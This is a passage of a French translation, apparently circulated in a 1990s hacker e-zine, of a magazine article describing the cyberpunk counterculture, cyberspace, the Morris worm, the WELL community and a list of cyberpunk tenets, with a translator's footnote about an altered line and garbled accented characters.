dans tout mouvement de contre-culture, certains nient appartenir … un mouvement quelconque. Quoique le journal Cyberpunk le plus connu, (Punk! Magazine) d‚clare avoir 70 000 lecteurs, il n'y a guŠre que quelques milliers de hackers informatiques qui pourraient vraiment se r‚clamer de ce groupe: pirates, futuristes, phreakers, artistes, musiciens et cr‚ateurs de science-fiction. N‚anmoins, ce groupe peut d‚finir la contre-culture de l'‚poque informatique. Il embrasse, en esprit du moins, le hacker dans la trentaine, vo–t‚, devant un terminal, mais aussi des jeunes dans la vingtaine, … la narine perc‚e, r‚unis pour des RAVES clandestins, des adolescents que leur Amiga fait triper, comme leurs parents, autrefois, les disques, et mˆme des pr‚adolescents qui s'activent devant leur Nintendo ou leur Sega, les futurs Cyberpunks. Obs‚d‚s par la technologie, les Cyberpunks sont tourn‚s vers une philosophie futuriste qui n'existe pas encore. Ils ont d‚j… un pied dans le 21Šme siŠcle, convaincus que dans un avenir lointain tous les terriens seront des Cyberpunks. Le look Cyberpunk, une espŠce d'art science-fiction surr‚aliste sur ordinateur, apparaŒt dans les galeries, les vid‚os et les films hollywoodiens. Les magazines Cyberpunk, plusieurs publi‚s … bon march‚ ou distribu‚s par medium ‚lectronique, se multiplient comme les canaux t‚l‚. La musique Cyberpunk fait vivre plusieurs compagnies de disques. Les livres Cyberpunk disparaissent vite des tablettes. Et les films Cyberpunk comme Bladerunner, Robocop, Videodrome, Total recall, Terminator 2 et The lawnmower man, basculent dans cette culture. [Atreid- Terminator 2? Robocop?] Aux E.-U. (et par cons‚quent au Canada), la culture Cyberpunk s'empare de tout, mˆme de l'administration Clinton, … cause de l'int‚rˆt port‚ … 'l'autoroute des r‚seaux' et ce que les Cyberpunks nomment Cyberspace. Les deux termes r‚fŠrent au r‚seau t‚l‚phonique interconnect‚ entourant la planŠte, v‚hiculant des billions de voix, de fax et de donn‚es. Ce Cyberspace gigantesque, l'Internet, se d‚ploie sur l'Atlantique, atteint l'Irlande, l'ouest de l'Europe, le Japon, la Cor‚e du Sud, l'Indon‚sie, l'Australie et la Nouvelle-Z‚lande. Les Cyberpunks voient les cables de l'int‚rieur et parlent d'un r‚seau comme si c'‚tait une place pour s'installer, une r‚alit‚ virtuelle dans laquelle on peut p‚n‚trer, qu'on peut explorer et manipuler. Le cyberspace joue un r“le majeur dans la vision mondiale Cyberpunk. La litt‚rature est remplie de 'Console Cowboys' qui alimentent leur imaginaire de faits h‚ro‹qyes. "Cyberpunk", un livre paru en 1991, met en vedette trois hackers Cyberpunk qui font autorit‚, incluant Robert Morris, l'‚tudiant de l'universit‚ Cornell: un virus de son ordinateur se r‚pandit dans l'Internet et paralysa tout le r‚seau en 1988. Cependant, le Cyberspace est plus qu'un terrain de jeu. C'est un medium. Chaque nuit sur GEnie, sur Compuserve ou sur des milliers de babillards ‚lectroniques, des centaines de milliers d'usagers se connectent et participent … la fˆte m‚diatique, un d‚bat interactif qui leur permet de faire sauter les barriŠres du temps, des pays, du sexe et du statut social. La plupart des usagers se contentent de visiter le cyberspace de temps en temps, mais le Cyberpunk s'y installe pour vivre, jouer et mˆme pour mourir. Le WELL (Whole Earth Electronic Link), un site Internet, fut ‚branl‚ quand l'un de ses membres les plus actifs lan‡a un programme qui effa‡a tous ses messages dans des milliers de postes. Quelques semaines plus tard, il se suicida pour de vrai. Cet ‚v‚nement attira les penseurs Cyberpunk sur le site Well. Ils s'interrogŠrent: Est-ce l… un fait significatif du mouvement Cyberpunk? Les r‚ponses affluŠrent et remplirent plus de 300 pages de textes. A partir de toutes ces r‚flexions, on dressa une liste des tendances principales du mouvement Cyberpunk: LES INFORMATIONS DOIVENT CIRCULER LIBREMENT. Toute information valable peut ‚ventuellement tomber entre les mains de gens qui en feront un meilleur usage, malgr‚ les efforts de la censure, des copyright l‚gaux et du service secret. TOUJOURS CEDER A L'IMPERATIF DE S'INFILTRER. Les Cyberpunks maintiennent qu'ils peuvent mener la planŠte pour le mieux si seulement ils peuvent mettre la main sur la boŒte de contr“le. PROMOUVOIR LA CENTRALISATION. La soci‚t‚ se disperse en centaines de sous-cultures et de sectes, ce qui est stupide.(1) 'SURF THE EDGES'. Lorsque le monde change … chaque nanoseconde, la meilleure fa‡on de vous tenir la tˆte hors de l'eau c'est de rester au-dessus de la vague. Pour les Cyberpunks, r‚fl‚chir sur l'histoire est moins important que de rencontrer le futur. A travers bien des vicissitudes, ils trouvent le moyen de vivre avec la technologie, de se l'approprier: ce que les Hippies n'ont jamais fait. Les Cyberpunks utilisent la technologie pour r‚unir l'art et la science, la litt‚rature et l'industrie. Par-dessus tout, les Cyberpunks se rendent compte que si vous ne contr“lez pas la technologie, c'est elle qui va vous contr“ler. Cette le‡on servira bien les Cyberpunks - et le reste de l'univers - pour le prochain siŠcle. (1) Il semble que ces quelques lignes diffŠrent du texte original. Il y aurait eu des changements apport‚s dans le texte anglais que j'ai fidŠlement traduit ici."Promouvoir la d‚centralisation" est ce qui apparaissait dans l'article du Time, et "stupide" a ‚t‚ s–rement ajout‚. Le texte original est pass‚ entre plusieurs mains avant de nous arriver... ----------------------------------------------------------------- úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú -----------------------------------------------------------------